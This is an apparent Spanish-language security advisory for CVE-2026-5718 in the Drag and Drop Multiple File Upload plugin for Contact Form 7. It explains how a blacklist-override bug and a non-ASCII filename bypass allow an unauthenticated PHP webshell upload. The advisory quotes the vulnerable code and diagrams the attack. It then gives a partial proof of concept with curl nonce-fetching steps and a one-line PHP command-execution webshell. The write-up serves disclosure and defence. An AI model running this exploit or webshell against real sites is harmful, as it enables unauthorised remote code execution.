
CVE-2026-5718: Subida de archivos no autenticada a RCE en el plugin DnD Upload CF7
CVE-2026-5718: Subida de archivos no autenticada a RCE en el plugin DnD Upload CF7
Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Slug del plugin:
drag-and-drop-multiple-file-upload-contact-form-7ID CVE: CVE-2026-5718 Puntuación CVSS: 8.1 (Alta) Vector CVSS:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTipo de vulnerabilidad: Subida arbitraria de archivos no autenticada → Ejecución remota de código Versiones afectadas: <= 1.3.9.6 Versión parcheada: 1.3.9.7 Fecha de publicación: 17 de abril de 2026 Investigador: Leonid Semenenko (lsemenenko) — Wordfence
En el plugin Drag and Drop Multiple File Upload for Contact Form 7, dos errores lógicos independientes se combinan para permitir que atacantes no autenticados suban un webshell PHP.
Destrucción de la lista negra: Una configuración personalizada de lista negra
reemplaza completamente la lista predeterminada de extensiones peligrosas,
en lugar de combinarse. php ya no está bloqueado.
Bypass de caracteres no ASCII: La presencia de caracteres no ASCII en el nombre del archivo
impide que se llame a la función wpcf7_antiscript_file_name().
La extensión .php se conserva y el archivo se escribe en el disco.
| Campo | Valor |
|---|---|
| Nombre del plugin | Drag and Drop Multiple File Upload for CF7 |
| ID CVE | CVE-2026-5718 |
| Puntuación CVSS | 8.1 (Alta) |
| Tipo de vulnerabilidad | Subida arbitraria de archivos no autenticada |
| Versión afectada | <= 1.3.9.6 |
| Versión parcheada | 1.3.9.7 |
| Requisito previo | Configuración personalizada blacklist-types en un formulario CF7 |
// inc/dnd-upload-cf7.php — líneas 62–71
function dnd_wpcf7_nonce_check() {
// Única protección: comprobación de 'curl' en User-Agent — fácil de eludir
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// Nonce inválido → DEVUELVE UN NUEVO NONCE
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
La acción wp_ajax_nopriv__wpcf7_check_nonce es pública.
Cuando se envía un nonce inválido, se entrega un nuevo nonce de forma gratuita.
Con un User-Agent de Mozilla se elude la comprobación de curl.
// inc/dnd-upload-cf7.php — líneas 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 extensiones peligrosas: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASIGNACIÓN (=) — NO COMBINACIÓN
// Lista personalizada: solo ['zip']
// 'php' ya NO está en la lista → se acepta
}
Configuración del tag de formulario que lo desencadena:
[mfile upload-file filetypes="*" blacklist-types:zip]
El administrador quiere bloquear ZIP → el plugin elimina toda la lista de denegación predeterminada.
Ahora se aceptan todas las extensiones peligrosas, incluido php.
Además, la lista hardcodeada para filetypes="*" también está incompleta:
// línea 927 — faltan 'php', 'php3', 'php4', 'pht', 'phtml'
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — líneas 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Solo se llama para nombres de archivo puramente ASCII
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ convertiría shell.php en shell.php.txt — pero se omite
}
// Si hay caracteres no ASCII, este bloque SE OMITE
// $filename = "shellシ.php" → la extensión .php se conserva
// dnd_cf7_check_ascii() — líneas 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ Solo cambia una copia local, no afecta al $filename externo
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Carácter no ASCII → false → se omite antiscript
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (no curl) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce obtenido gratuitamente │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce válido ✓ │
│ ├── blacklist=['zip'] → 'php' no bloqueado ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() OMITIDO ✓ │
│ └── move_uploaded_file("shellシ.php") → Escrito a disco│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → RCE no autenticado ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ Descargo de responsabilidad: Este PoC se proporciona únicamente con fines educativos y de investigación defensiva. Úselo solo en sistemas que posea o sobre los que tenga autorización explícita por escrito para realizar pruebas.
Requisitos previos:
[mfile] que contenga blacklist-types:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
Respuesta esperada:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')